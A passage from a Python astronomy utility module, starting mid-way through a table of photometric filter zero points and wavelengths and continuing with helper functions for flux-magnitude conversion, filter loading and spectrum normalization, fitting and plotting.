'toVega': 0, 'ext': 0.29, 'system': 'FourStar'},\n\n \"2MASS_J\" : {'eff' : 1.2350, 'min': 1.080647, 'max': 1.406797, 'zp': 3.129e-10, 'zp_photon': 1.943482e+02,\n 'toVega': 0, 'ext': 0.0166, 'system': '2MASS'}, # ZP from Cohen et al. (2003)\n \"2MASS_H\" : {'eff' : 1.6620, 'min': 1.478738, 'max': 1.823102, 'zp': 1.133e-10, 'zp_photon': 9.437966e+01,\n 'toVega': 0, 'ext': 0.0146, 'system': '2MASS'}, # ZP from Cohen et al. (2003)\n \"2MASS_Ks\" : {'eff' : 2.1590, 'min': 1.954369, 'max': 2.355240, 'zp': 4.283e-11, 'zp_photon': 4.664740e+01,\n 'toVega': 0, 'ext': 0.0710, 'system': '2MASS'}, # ZP from Cohen et al. (2003)\n\n \"MKO_Y\" : {'eff' : 1.02894, 'min': 0.9635, 'max': 1.1025, 'zp': 5.869238e-10, 'zp_photon': 3.033632e+02,\n 'toVega': 0, 'ext': 0.41, 'system': 'MKO'},\n \"MKO_J\" : {'eff' : 1.250, 'min': 1.148995, 'max': 1.348332, 'zp': 3.01e-10, 'zp_photon': 1.899569e+02,\n 'toVega': 0, 'ext': 0.30, 'system': 'MKO'}, # eff and ZP from Tokunaga & Vacca (2005)\n \"MKO_H\" : {'eff' : 1.644, 'min': 1.450318, 'max': 1.808855, 'zp': 1.18e-10, 'zp_photon': 9.761983e+01,\n 'toVega': 0, 'ext': 0.20, 'system': 'MKO'}, # eff and ZP from Tokunaga & Vacca (2005)\n \"MKO_K\" : {'eff' : 2.198, 'min': 1.986393, 'max': 2.397097, 'zp': 4.00e-11, 'zp_photon': 4.488476e+01,\n 'toVega': 0, 'ext': 0.12, 'system': 'MKO'}, # eff and ZP from Tokunaga & Vacca (2005)\n \"MKO_L'\" : {'eff' : 3.754, 'min': 3.326622, 'max': 4.207764, 'zp': 5.31e-12, 'zp_photon': 1.016455e+01,\n 'toVega': 0, 'ext': 0.06, 'system': 'MKO'}, # eff and ZP from Tokunaga & Vacca (2005)\n \"MKO_M'\" : {'eff' : 4.702, 'min': 4.496502, 'max': 4.865044, 'zp': 2.22e-12, 'zp_photon': 5.305197e+00,\n 'toVega': 0, 'ext': 0.05, 'system': 'MKO'}, # eff and ZP from Tokunaga & Vacca (2005)\n\n \"DENIS_I\" : {'eff' : 0.78621, 'min': 0.7007, 'max': 0.9140, 'zp': 1.182102e-09, 'zp_photon': 4.681495e+02,\n 'toVega': 0, 'ext': 0.63, 'system': 'DENIS'},\n \"DENIS_J\" : {'eff' : 1.22106, 'min': 1.0508, 'max': 1.3980, 'zp': 3.190256e-10, 'zp_photon': 1.961698e+02,\n 'toVega': 0, 'ext': 0.31, 'system': 'DENIS'},\n \"DENIS_Ks\" : {'eff' : 2.14650, 'min': 1.9474, 'max': 2.3979, 'zp': 4.341393e-11, 'zp_photon': 4.691482e+01,\n 'toVega': 0, 'ext': 0.13, 'system': 'DENIS'},\n\n \"WISE_W1\" : {'eff' : 3.3526, 'min': 2.754097, 'max': 3.872388, 'zp': 8.1787e-12, 'zp_photon': 1.375073e+01,\n 'toVega': 0, 'ext': 0.07, 'system': 'WISE'}, # eff and ZP from Jarrett et al. (2011)\n \"WISE_W2\" : {'eff' : 4.6028, 'min': 3.963326, 'max': 5.341360, 'zp': 2.4150e-12, 'zp_photon': 5.586982e+00,\n 'toVega': 0, 'ext': 0.05, 'system': 'WISE'}, # eff and ZP from Jarrett et al. (2011)\n \"WISE_W3\" : {'eff' : 11.5608, 'min': 7.443044, 'max': 17.26134, 'zp': 6.5151e-14,\n 'zp_photon': 3.567555e-01, 'toVega': 0, 'ext': 0.06, 'system': 'WISE'},\n # eff and ZP from Jarrett et al. (2011)\n \"WISE_W4\" : {'eff' : 22.0883, 'min': 19.52008, 'max': 27.91072, 'zp': 5.0901e-15,\n 'zp_photon': 5.510352e-02, 'toVega': 0, 'ext': 0.02, 'system': 'WISE'},\n # eff and ZP from Jarrett et al. (2011)\n\n \"IRAC_ch1\" : {'eff' : 3.507511, 'min': 3.129624, 'max': 3.961436, 'zp': 6.755364e-12,\n 'zp_photon': 1.192810e+01, 'toVega': 0, 'ext': 0.07, 'system': 'IRAC'},\n \"IRAC_ch2\" : {'eff' : 4.436578, 'min': 3.917328, 'max': 5.056057, 'zp': 2.726866e-12,\n 'zp_photon': 6.090264e+00, 'toVega': 0, 'ext': 0.05, 'system': 'IRAC'},\n \"IRAC_ch3\" : {'eff' : 5.628102, 'min': 4.898277, 'max': 6.508894, 'zp': 1.077512e-12,\n 'zp_photon': 3.052866e+00, 'toVega': 0, 'ext': 0.04, 'system': 'IRAC'},\n \"IRAC_ch4\" : {'eff' : 7.589159, 'min': 6.299378, 'max': 9.587595, 'zp': 3.227052e-13,\n 'zp_photon': 1.232887e+00, 'toVega': 0, 'ext': 0.03, 'system': 'IRAC'},\n \"MIPS_ch1\" : {'eff' : 23.20960, 'min': 19.88899, 'max': 30.93838, 'zp': 3.935507e-15,\n 'zp_photon': 4.598249e-02, 'toVega': 0, 'ext': 0.02, 'system': 'MIPS'},\n\n \"Gaia_G\" : {'eff' : 0.60, 'min': 0.321, 'max': 1.103, 'zp': 2.862966e-09, 'zp_photon': 8.053711e+02,\n 'toVega': 0, 'ext': 0, 'system': 'Gaia'},\n \"Gaia_BP\" : {'eff' : 0.55, 'min': 0.321, 'max': 0.680, 'zp': 4.298062e-09, 'zp_photon': 1.067265e+03,\n 'toVega': 0, 'ext': 0, 'system': 'Gaia'},\n \"Gaia_RP\" : {'eff' : 0.75, 'min': 0.627, 'max': 1.103, 'zp': 1.294828e-09, 'zp_photon': 4.948727e+02,\n 'toVega': 0, 'ext': 0, 'system': 'Gaia'},\n \n \"ESO1077\" : {'eff' : 0.790063, 'min': 0.698018, 'max': 0.912668, 'zp': 1.164e-9, 'zp_photon': 5.278550e+02,\n 'toVega': 0, 'ext': 0, 'system': 'Johnson'},\n \n\n \"HST_F090M\" : {'eff' : 0.897360, 'min': 0.784317, 'max': 1.013298, 'zp': 8.395228e-10,\n 'zp_photon': 3.792477e+02, 'toVega': 0, 'ext': 0.51, 'system': 'HST'},\n \"HST_F110W\" : {'eff' : 1.059175, 'min': 0.782629, 'max': 1.432821, 'zp': 4.726040e-10,\n 'zp_photon': 2.519911e+02, 'toVega': 0, 'ext': 0.39, 'system': 'HST'},\n \"HST_F140W\" : {'eff' : 1.364531, 'min': 1.185379, 'max': 1.612909, 'zp': 2.133088e-10,\n 'zp_photon': 1.465263e+02, 'toVega': 0, 'ext': 0.26, 'system': 'HST'},\n \"HST_F164N\" : {'eff' : 1.646180, 'min': 1.629711, 'max': 1.663056, 'zp': 1.109648e-10,\n 'zp_photon': 9.195720e+01, 'toVega': 0, 'ext': 0.19, 'system': 'HST'},\n \"HST_F170M\" : {'eff' : 1.699943, 'min': 1.579941, 'max': 1.837134, 'zp': 1.015711e-10,\n 'zp_photon': 8.692163e+01, 'toVega': 0, 'ext': 0.18, 'system': 'HST'},\n \"HST_F190N\" : {'eff' : 1.898486, 'min': 1.880845, 'max': 1.917673, 'zp': 6.957714e-11,\n 'zp_photon': 6.649628e+01, 'toVega': 0, 'ext': 0.15, 'system': 'HST'},\n \"HST_F215N\" : {'eff' : 2.148530, 'min': 2.128579, 'max': 2.168078, 'zp': 4.355167e-11,\n 'zp_photon': 4.710529e+01, 'toVega': 0, 'ext': 0.13, 'system': 'HST'},\n \"HST_F336W\" : {'eff' : 0.332930, 'min': 0.295648, 'max': 0.379031, 'zp': 3.251259e-09,\n 'zp_photon': 5.486427e+02, 'toVega': 0, 'ext': 1.70, 'system': 'HST'},\n \"HST_F390N\" : {'eff' : 0.388799, 'min': 0.384000, 'max': 0.393600, 'zp': 5.673647e-09,\n 'zp_photon': 1.143901e+03, 'toVega': 0, 'ext': 1.48, 'system': 'HST'},\n \"HST_F475W\" : {'eff' : 0.470819, 'min': 0.386334, 'max': 0.556272, 'zp': 5.331041e-09,\n 'zp_photon': 1.260475e+03, 'toVega': 0, 'ext': 1.21, 'system': 'HST'},\n \"HST_F555W\" : {'eff' : 0.533091, 'min': 0.458402, 'max': 0.620850, 'zp': 4.062007e-09,\n 'zp_photon': 1.061011e+03, 'toVega': 0, 'ext': 1.05, 'system': 'HST'},\n \"HST_F625W\" : {'eff' : 0.626619, 'min': 0.544589, 'max': 0.709961, 'zp': 2.478260e-09,\n 'zp_photon': 7.679998e+02, 'toVega': 0, 'ext': 0.68, 'system': 'HST'},\n \"HST_F656N\" : {'eff' : 0.656368, 'min': 0.653838, 'max': 0.658740, 'zp': 1.434529e-09,\n 'zp_photon': 4.737886e+02, 'toVega': 0, 'ext': 0.81, 'system': 'HST'},\n \"HST_F673N\" : {'eff' : 0.673224, 'min': 0.667780, 'max': 0.678367, 'zp': 1.908442e-09,\n 'zp_photon': 6.499706e+02, 'toVega': 0, 'ext': 0.78, 'system': 'HST'},\n \"HST_F775W\" : {'eff' : 0.765263, 'min': 0.680365, 'max': 0.863185, 'zp': 1.323662e-09,\n 'zp_photon': 5.055354e+02, 'toVega': 0, 'ext': 0.65, 'system': 'HST'},\n \"HST_F814W\" : {'eff' : 0.790114, 'min': 0.697809, 'max': 0.968369, 'zp': 1.171e-9,\n 'zp_photon': 5.055354e+02, 'toVega': 0, 'ext': 0.65, 'system': 'HST'},\n \"HST_F850LP\" : {'eff' : 0.963736, 'min': 0.832000, 'max': 1.100000, 'zp': 8.069014e-10,\n 'zp_photon': 4.820083e+02, 'toVega': 0, 'ext': 0.46, 'system': 'HST'},\n\n \"PS_g\" : {'eff': 0.477562, 'min': 0.3943, 'max': 0.5593, 'zp': 5.139e-9, 'zp_photon': 1236.02,\n 'toVega': -0.0801, 'ext': 1.19, 'system': 'PAN-STARRS'},\n \"PS_r\" : {'eff': 0.62195, 'min': 0.5386, 'max': 0.7036, 'zp': 2.515e-9, 'zp_photon': 776.35,\n 'toVega': 0.154, 'ext': 0.89, 'system': 'PAN-STARRS'},\n \"PS_i\" : {'eff': 0.74846, 'min': 0.6778, 'max': 0.8304, 'zp':1.383e-9, 'zp_photon': 521.43,\n 'toVega': 0.369, 'ext': 0.67, 'system': 'PAN-STARRS'},\n \"PS_y\" : {'eff': 0.96031, 'min': 0.9100, 'max': 1.0838, 'zp': 7.171e-10, 'zp_photon': 346.87,\n 'toVega':0.541 , 'ext': 0.46, 'system': 'PAN-STARRS'},\n \"PS_z\" : {'eff': 0.86578, 'min': 0.8028, 'max': 0.9346, 'zp': 9.091e-10, 'zp_photon':633.28,\n 'toVega':0.509, 'ext': 0.53, 'system': 'PAN-STARRS'}}\n\n if isinstance(band, list):\n for i in Filters.keys():\n if Filters[i]['system'] not in band:\n Filters.pop(i)\n return Filters\n elif isinstance(band, str):\n return Filters[band]\n\n\ndef find(filename, tree):\n \"\"\"\n For given filename and directory tree, returns the path to the file.\n For only file extension given as filename, returns list of paths to all files with that extnsion in that\n directory tree.\n\n *filename*\n Filename or file extension to search for (e.g. 'my_file.txt' or just '.txt')\n *tree*\n Directory tree base to start the walk (e.g. '/Users/Joe/Documents/')\n \"\"\"\n import os\n result = []\n\n for root, dirs, files in os.walk(tree):\n if filename.startswith('.'):\n for f in files:\n if f.endswith(filename):\n result.append(os.path.join(root, f))\n else:\n if filename in files:\n result.append(os.path.join(root, filename))\n\n return result\n\n\ndef flux_calibrate(mag, dist, sig_m='', sig_d='', scale_to=10 * q.pc):\n if isinstance(mag, (float, int)):\n return [round(mag - 5 * np.log10((dist.to(q.pc) / scale_to.to(q.pc)).value), 3),\n round(np.sqrt(sig_m ** 2 + 25 * (sig_d.to(q.pc) / (dist.to(q.pc) * np.log(10))).value ** 2),\n 3) if sig_m and sig_d else '']\n elif hasattr(mag, 'unit'):\n return [float('{:.4g}'.format(mag.value * (dist / scale_to).value ** 2)) * mag.unit, float('{:.4g}'.format(\n np.sqrt((sig_m * (dist / scale_to).value) ** 2 + (\n 2 * mag * (sig_d * dist / scale_to ** 2).value) ** 2))) * mag.unit if sig_m != '' and sig_d else '']\n else:\n print('Could not flux calibrate that input to distance {}.'.format(dist))\n\n\ndef flux2mag(band, f, sig_f='', photon=False, filter_dict=''):\n \"\"\"\n For given band and flux returns the magnitude value (and uncertainty if *sig_f*)\n \"\"\"\n filt = filter_dict[band]\n if f.unit == 'Jy':\n f, sig_f = (ac.c * f / filt['eff'] ** 2).to(q.erg / q.s / q.cm ** 2 / q.AA), (\n ac.c * sig_f / filt['eff'] ** 2).to(q.erg / q.s / q.cm ** 2 / q.AA)\n if photon:\n f, sig_f = (f * (filt['eff'] / (ac.h * ac.c)).to(1 / q.erg)).to(1 / q.s / q.cm ** 2 / q.AA), (\n sig_f * (filt['eff'] / (ac.h * ac.c)).to(1 / q.erg)).to(1 / q.s / q.cm ** 2 / q.AA)\n m = -2.5 * np.log10((f / filt['zp_photon' if photon else 'zp']).value)\n sig_m = (2.5 / np.log(10)) * (sig_f / f).value if sig_f else ''\n return [m, sig_m]\n\n\ndef get_filters(filter_directories=[package + '/Data/Filters/{}/'.format(i) for i in\n ['2MASS', 'SDSS', 'WISE', 'IRAC', 'MIPS', 'FourStar', 'HST', 'Johnson', 'Cousins',\n 'MKO', 'GALEX', 'DENIS', 'Gaia', 'DES','PAN-STARRS']],\n systems=['2MASS', 'SDSS', 'WISE', 'IRAC', 'MIPS', 'FourStar', 'HST', 'Johnson', 'Cousins', 'MKO',\n 'GALEX', 'DENIS', 'Gaia', 'DES', 'PAN-STARRS']):\n \"\"\"\n Grabs all the .txt spectral response curves and returns a dictionary of wavelength array [um], filter response [\n unitless], effective, min and max wavelengths [um], and zeropoint [erg s-1 cm-2 A-1].\n \"\"\"\n files = glob.glob(filter_directories + '*.txt') if isinstance(filter_directories, str) else [j for k in [\n glob.glob(i + '*.txt') for i in filter_directories] for j in k]\n\n if len(files) == 0:\n print('No filters in', filter_directories)\n else:\n filters = {}\n for filepath in files:\n try:\n filter_name = os.path.splitext(os.path.basename(filepath))[0]\n RSR_x, RSR_y = np.genfromtxt(filepath, unpack=True, comments='#')\n RSR_x, RSR_y = (RSR_x * (q.um if min(RSR_x) < 100 else q.AA)).to(q.um), RSR_y * q.um / q.um\n Filt = filter_info(filter_name)\n filters[filter_name] = {'wav' : RSR_x, 'rsr': RSR_y, 'system': Filt['system'],\n 'eff' : Filt['eff'] * q.um, 'min': Filt['min'] * q.um,\n 'max' : Filt['max'] * q.um, 'ext': Filt['ext'], 'toVega': Filt['toVega'],\n 'zp' : Filt['zp'] * q.erg / q.s / q.cm ** 2 / q.AA,\n 'zp_photon': Filt['zp_photon'] / q.s / q.cm ** 2 / q.AA}\n except:\n pass\n for i in filters.keys():\n if filters[i]['system'] not in systems:\n filters.pop(i)\n return filters\n\n\ndef goodness(spec1, spec2, array=False, exclude=[], filt_dict=None, weighting=True, verbose=False):\n if isinstance(spec1, dict) and isinstance(spec2, dict) and filt_dict:\n bands, w1, f1, e1, f2, e2, weight, bnds = [i for i in filt_dict.keys() if all(\n [i in spec1.keys(), i in spec2.keys()]) and i not in exclude], [], [], [], [], [], [], []\n for eff, b in sorted([(filt_dict[i]['eff'], i) for i in bands]):\n if all([spec1[b], spec1[b + '_unc'], spec2[b], spec2[b + '_unc']]):\n bnds.append(b), w1.append(eff.value), f1.append(spec1[b].value), e1.append(\n spec1[b + '_unc'].value), f2.append(spec2[b].value), e2.append(\n spec2[b + '_unc'].value if b + '_unc' in spec2.keys() else 0), weight.append(\n (filt_dict[b]['max'] - filt_dict[b]['min']).value if weighting else 1)\n bands, w1, f1, e1, f2, e2, weight = map(np.array, [bnds, w1, f1, e1, f2, e2, weight])\n if verbose:\n printer(['Band', 'W_spec1', 'F_spec1', 'E_spec1', 'F_spec2', 'E_spec2', 'Weight', 'g-factor'], zip(\n *[bnds, w1, f1, e1, f2, e2, weight, weight * (f1 - f2 * (\n sum(weight * f1 * f2 / (e1 ** 2 + e2 ** 2)) / sum(weight * f2 ** 2 / (e1 ** 2 + e2 ** 2)))) ** 2 / (\n e1 ** 2 + e2 ** 2)]))\n else:\n spec1, spec2 = [[i.value if hasattr(i, 'unit') else i for i in j] for j in [spec1, spec2]]\n if exclude:\n spec1 = [i[idx_exclude(spec1[0], exclude)] for i in spec1]\n (w1, f1, e1), (f2, e2), weight = spec1, rebin_spec(spec2, spec1[0])[1:], np.gradient(spec1[0])\n if exclude:\n weight[weight > np.std(weight)] = 0\n C = sum(weight * f1 * f2 / (e1 ** 2 + e2 ** 2)) / sum(weight * f2 ** 2 / (e1 ** 2 + e2 ** 2))\n G = weight * (f1 - f2 * C) ** 2 / (e1 ** 2 + e2 ** 2)\n if verbose:\n plt.figure(), plt.loglog(w1, f1, 'k', label='spec1', alpha=0.6), plt.loglog(w1, f2 * C, 'b',\n label='spec2 binned',\n alpha=0.6), plt.grid(\n True), plt.legend(loc=0)\n return [G if array else sum(G), C]\n\n\ndef group(lst, n):\n for i in range(0, len(lst), n):\n val = lst[i:i + n]\n if len(val) == n:\n yield tuple(val)\n\n\ndef group_spectra(spectra):\n \"\"\"\n Puts a list of *spectra* into groups with overlapping wavelength arrays\n \"\"\"\n groups, idx, i = [], [], 'wavelength' if isinstance(spectra[0], dict) else 0\n for N, S in enumerate(spectra): # N= number, S= spectrum value\n if N not in idx:\n group, idx = [S], idx + [N]\n for n, s in enumerate(spectra):\n if n not in idx and any(np.where(np.logical_and(S[i] < s[i][-1], S[i] > s[i][0]))[0]):\n group.append(s), idx.append(n)\n groups.append(group)\n return groups\n\n\ndef idx_include(x, include):\n try:\n return np.where(np.array(map(bool, map(sum, zip(*[np.logical_and(x > i[0], x < i[1]) for i in include])))))[0]\n except TypeError:\n try:\n return \\\n np.where(np.array(map(bool, map(sum, zip(*[np.logical_and(x > i[0], x < i[1]) for i in [include]])))))[0]\n except TypeError:\n return range(len(x))\n\n\ndef idx_exclude(x, exclude):\n try:\n return np.where(~np.array(map(bool, map(sum, zip(*[np.logical_and(x > i[0], x < i[1]) for i in exclude])))))[0]\n except TypeError:\n try:\n return \\\n np.where(~np.array(map(bool, map(sum, zip(*[np.logical_and(x > i[0], x < i[1]) for i in exclude])))))[0]\n except TypeError:\n return range(len(x))\n\n\ndef inject_average(spectrum, position, direction, n=10):\n \"\"\"\n Used to smooth edges after trimming a spectrum. Injects a new data point into a *spectrum* at given *position*\n with flux value equal to the average of the *n* elements in the given *direction*.\n \"\"\"\n units, spectrum, rows = [i.unit if hasattr(i, 'unit') else 1 for i in spectrum], [\n i.value if hasattr(i, 'unit') else i for i in spectrum], zip(\n *[i.value if hasattr(i, 'unit') else i for i in spectrum])\n new_pos = [position, np.interp(position, spectrum[0], spectrum[1]), np.interp(position, spectrum[0], spectrum[2])]\n rows = sorted(map(list, rows) + [new_pos])\n sample = [np.array(i) for i in zip(*rows[\n rows.index(new_pos) - (n if direction == 'left' else 0): rows.index(new_pos) + (\n n if direction == 'right' else 0)])]\n final_pos = [position, np.average(sample[1], weights=1 / sample[2]), np.sqrt(sum(sample[2]) ** 2)]\n rows[rows.index(new_pos)] = final_pos\n spectrum = zip(*rows)\n return [i * j for i, j in zip(units, spectrum)]\n\n\ndef Jy2mag(band, jy, jy_unc, filter_dict=''): return flux2mag(band, (ac.c * jy / filter_dict[band]['eff'] ** 2).to(\n q.erg / q.s / q.cm ** 2 / q.AA), sig_f=(ac.c * jy_unc / filter_dict[band]['eff'] ** 2).to(\n q.erg / q.s / q.cm ** 2 / q.AA), photon=False, filter_dict=filter_dict)\n\n\ndef mag2flux(band, mag, sig_m='', photon=False, filter_dict=''):\n \"\"\"\n For given band and magnitude returns the flux value (and uncertainty if *sig_m*) in [ergs][s-1][cm-2][A-1]\n \"\"\"\n if band.startswith('M_'):\n band = band[2:]\n filt = filter_dict[band]\n f = (filt['zp_photon' if photon else 'zp'] * 10 ** (-mag / 2.5)).to(\n (1 if photon else q.erg) / q.s / q.cm ** 2 / q.AA)\n sig_f = f * sig_m * np.log(10) / 2.5 if sig_m else ''\n return [f, sig_f]\n\n\ndef make_composite(spectra):\n \"\"\"\n Creates a composite spectrum from a list of overlapping spectra\n \"\"\"\n units = [i.unit for i in spectra[0]]\n spectrum = spectra.pop(0)\n if spectra:\n spectra = [norm_spec(spec, spectrum) for spec in spectra]\n spectrum = [i.value for i in spectrum]\n for n, spec in enumerate(spectra):\n spec = [i.value for i in spec]\n IDX, idx = np.where(np.logical_and(spectrum[0] < spec[0][-1], spectrum[0] > spec[0][0]))[0], \\\n np.where(np.logical_and(spec[0] > spectrum[0][0], spec[0] < spectrum[0][-1]))[0]\n low_res, high_res = [i[IDX] for i in spectrum], rebin_spec([i[idx] for i in spec], spectrum[0][IDX])\n mean_spec = [spectrum[0][IDX], np.array(\n [np.average([hf, lf], weights=[1 / he, 1 / le]) for hf, he, lf, le in\n zip(high_res[1], high_res[2], low_res[1], low_res[2])]),\n np.sqrt(low_res[2] ** 2 + high_res[2] ** 2)]\n spec1, spec2 = sorted([spectrum, spec], key=lambda x: x[0][0])\n spec1, spec2 = [i[np.where(spec1[0] < spectrum[0][IDX][0])[0]] for i in spec1], [\n i[np.where(spec2[0] > spectrum[0][IDX][-1])[0]] for i in spec2]\n spectrum = [np.concatenate([i[:-1], j[1:-1], k[1:]]) for i, j, k in zip(spec1, mean_spec, spec2)]\n return [i * Q for i, Q in zip([i.value if hasattr(i, 'unit') else i for i in spectrum], units)]\n\n\ndef manual_legend(labels, colors, markers='', edges='', sizes='', errors='', styles='', text_colors='', fontsize=14,\n overplot='', bbox_to_anchor='', loc=0, ncol=1, figlegend=False):\n \"\"\"\n Add manually created legends to plots and subplots\n\n Parameters\n ----------\n labels: sequence\n A list of strings to appear as legend text, e.g. ['Foo','Bar','Baz']\n colors: sequence\n A list of colors for the legend markers, e.g. ['r','g','b']\n markers: sequence (optional)\n A list of markers or linestyles to use in the legend, e.g. ['o','^','--'], defaults to 'o'\n edges: sequence (optional)\n A list of colors to use as marker edge colors, e.g. ['m','None','k'], defaults to *colors*\n sizes: sequence (optional)\n A list of integers to specify the marker size of points or the linewidth of lines, e.g. [8,12,2], defaults to 10\n errors: sequence (optional)\n A list of boolean statements to indicate whether markers should display error bars of not, e.g. [True,False,\n False], defaults to False\n styles: sequence (optional)\n A list indicating whether each legend item should display a point 'p' or a line 'l', e.g. ['p','p','l'],\n defaults to 'p'\n text_colors: sequence (optional)\n A list of colors for each legend label, defaults to 'k'\n overplot: axes object (optional)\n The axes to draw the legend on, defaults to the active axes\n fontsize: int\n The fontsize of the legend text\n loc: int\n The 0-8 integer location of the legend\n ncol: int\n The integer number of columns to divide the legend markers into\n bbox_to_anchor: sequence (optional)\n The legend bbox_to_anchor parametrs to place it outside the axes\n figlegend: bool\n Plot as the plt.figlegend instead of an axes legend\n \"\"\"\n ax = overplot or plt.gca()\n handles = [plt.errorbar((1, 0), (0, 0), xerr=[0, 0] if r else None, yerr=[0, 0] if r else None,\n marker=m if t == 'p' else '', color=c, ls=m if t == 'l' else 'none',\n lw=s if t == 'l' else 2, markersize=s, markerfacecolor=c, markeredgecolor=e,\n markeredgewidth=2, capsize=0, ecolor=e) for m, c, e, s, r, t in\n zip(markers or ['o' for i in colors], colors, edges or colors, sizes or [10 for i in colors],\n errors or [False for i in colors], styles or ['p' for i in colors])]\n [i[0].remove() for i in handles]\n if figlegend:\n plt.figlegend(handles, labels, figlegend, frameon=False, numpoints=1, handletextpad=1 if 'l' in styles else 0,\n fontsize=fontsize, handleheight=2, handlelength=1.5, ncol=ncol)\n else:\n try:\n add_legend = ax.legend(handles, labels, loc=loc, frameon=False, numpoints=1,\n handletextpad=1 if 'l' in styles else 0, handleheight=2, handlelength=1.5,\n fontsize=fontsize, ncol=ncol, bbox_to_anchor=bbox_to_anchor, mode=\"expand\",\n borderaxespad=0.) if bbox_to_anchor else ax.legend(handles, labels, loc=loc,\n frameon=False, numpoints=1,\n handletextpad=1 if 'l' in\n styles else 0,\n handleheight=2, handlelength=1.5,\n fontsize=fontsize, ncol=ncol)\n ax.add_artist(add_legend)\n except:\n print(labels)\n\n if text_colors:\n ltext = plt.gca().get_legend().get_texts()\n for n, (t, c) in enumerate(zip(ltext, text_colors)):\n plt.setp(ltext[n], color=c)\n\n\ndef multiplot(rows, columns, ylabel='', xlabel='', xlabelpad='', ylabelpad='', hspace=0, wspace=0, figsize=(15, 7),\n fontsize=22, sharey=True, sharex=True):\n \"\"\"\n Creates subplots with given number or *rows* and *columns*.\n \"\"\"\n fig, axes = plt.subplots(rows, columns, sharey=sharey, sharex=sharex, figsize=figsize)\n plt.rc('text', usetex=True, fontsize=fontsize)\n\n if ylabel:\n if isinstance(ylabel, str):\n fig.text(0.04, 0.5, ylabel, ha='center', va='center', rotation='vertical', fontsize=fontsize)\n else:\n if columns > 1:\n axes[0].set_ylabel(ylabel, fontsize=fontsize, labelpad=ylabelpad or fontsize)\n else:\n for a, l in zip(axes, ylabel):\n a.set_xlabel(l, fontsize=fontsize, labelpad=xlabelpad or fontsize)\n\n if xlabel:\n if isinstance(xlabel, str):\n fig.text(0.5, 0.04, xlabel, ha='center', va='center', fontsize=fontsize)\n else:\n if rows > 1:\n axes[0].set_ylabel(ylabel, fontsize=fontsize, labelpad=ylabelpad or fontsize)\n else:\n for a, l in zip(axes, xlabel):\n a.set_xlabel(l, fontsize=fontsize, labelpad=xlabelpad or fontsize)\n\n plt.subplots_adjust(right=0.96, top=0.96, bottom=0.15, left=0.12, hspace=hspace, wspace=wspace)\n fig.canvas.draw()\n return [fig] + list(axes)\n\n\ndef norm_spec(spectrum, template, exclude=[]):\n \"\"\"\n Parameters\n ----------\n spectrum: sequence\n The [w,f] or [w,f,e] astropy quantities spectrum to normalize\n template: sequence\n The [w,f] or [w,f,e] astropy quantities spectrum to be normalized to\n exclude: sequence (optional)\n A sequence of tuples defining the wavelength ranges to exclude in the normalization\n include: sequence (optional)\n A sequence of tuples defining the wavelength ranges to include in the normalization\n\n Returns\n -------\n spectrum: sequence\n The normalized [w,f] or [w,f,e] astropy quantities spectrum\n \"\"\"\n template, spectrum, spectrum_units = np.array([np.asarray(i.value) for i in template]), np.array(\n [np.asarray(i.value) for i in spectrum]), [i.unit for i in spectrum]\n normed_spectrum = spectrum.copy()\n\n # Smooth both spectrum and template\n template[1], spectrum[1] = [smooth(x, 1) for x in [template[1], spectrum[1]]]\n\n # Find wavelength range of overlap for array masking\n spec_mask = np.logical_and(spectrum[0] > template[0][0], spectrum[0] < template[0][-1])\n temp_mask = np.logical_and(template[0] > spectrum[0][0], template[0] < spectrum[0][-1])\n spectrum, template = [i[spec_mask] for i in spectrum], [i[temp_mask] for i in template]\n\n # Also mask arrays in wavelength ranges specified in *exclude*\n for r in exclude:\n spec_mask = np.logical_and(spectrum[0] > r[0], spectrum[0] < r[-1])\n temp_mask = np.logical_and(template[0] > r[0], template[0] < r[-1])\n spectrum, template = [i[~spec_mask] for i in spectrum], [i[~temp_mask] for i in template]\n\n # Normalize the spectrum to the template based on equal integrated flux inincluded wavelength ranges\n norm = np.trapz(template[1], x=template[0]) / np.trapz(spectrum[1], x=spectrum[0])\n normed_spectrum[1:] = [i * norm for i in normed_spectrum[1:]]\n\n return [i * Q for i, Q in zip(normed_spectrum, spectrum_units)]\n\n\ndef norm_spec_fmin(spectrum, template, exclude=[], weighting=True, plot=False):\n \"\"\"\n Normalizes a spectrum to a template in wavelength range of overlap, excluding any specified wavelength ranges\n using function minimization of the goodness-of-fit statistic.\n\n \"\"\"\n template, spectrum, spectrum_units = [i.value for i in template], [i.value for i in spectrum], [i.unit for i in\n spectrum]\n normed_spectrum = spectrum\n\n if plot:\n plt.loglog(spectrum[0], spectrum[1], color='r')\n\n for x in exclude:\n normed_spectrum = [i[~np.logical_and(spectrum[0] > x[0], spectrum[0] < x[1])] for i in normed_spectrum]\n\n def errfunc(p, spec1, spec2, weighting=weighting):\n (w1, f1, e1), (f2, e2), weight = spec1, rebin_spec(spec2, spec1[0])[1:], np.gradient(\n spec1[0]) if weighting else np.ones(len(spec1[0]))\n if exclude:\n weight[weight > np.std(weight)] = 0\n return sum(weight * f1 * f2 / (e1 ** 2 + e2 ** 2)) / sum(weight * f2 ** 2 / (e1 ** 2 + e2 ** 2))\n\n norm = opt.fmin(errfunc, template[1][0] / normed_spectrum[1][0], args=(template, normed_spectrum), xtol=0.000000001,\n ftol=0.000000001, maxfun=1000)[0]\n spectrum[1:] = [i * norm for i in spectrum[1:]]\n\n if plot:\n plt.loglog(spectrum[0], spectrum[1], color='k')\n plt.loglog(template[0], template[1], color='k')\n plt.fill_between(spectrum[0], spectrum[1] - spectrum[2], spectrum[1] + spectrum[2], color='k', alpha=0.1)\n plt.fill_between(template[0], template[1] - template[2], template[1] + template[2], color='k', alpha=0.1)\n return [i * Q for i, Q in zip(spectrum, spectrum_units)]\n\n\ndef norm_to_mag(spectrum, magnitude, band):\n \"\"\"\n Returns the flux of a given *spectrum* [W,F] normalized to the given *magnitude* in the specified photometric *band*\n \"\"\"\n return [spectrum[0], spectrum[1] * magnitude / s.get_mag(band, spectrum, to_flux=True, Flam=False)[0], spectrum[2]]\n\n\ndef normalize(spectra, template, composite=True, plot=False, SNR=50, exclude=[], trim=[], replace=[], D_Flam=None):\n \"\"\"\n Normalizes a list of *spectra* with [W,F,E] or [W,F] to a *template* spectrum.\n Returns one normalized, composite spectrum if *composite*, else returns the list of *spectra* normalized to the\n *template*.\n \"\"\"\n if not template:\n spectra = [scrub(i) for i in sorted(spectra, key=lambda x: x[1][-1])]\n template = spectra.pop()\n\n if trim:\n all_spec = [template] + spectra\n for n, x1, x2 in trim:\n all_spec[n] = [i[idx_exclude(all_spec[n][0], [(x1, x2)])] for i in all_spec[n]]\n template, spectra = 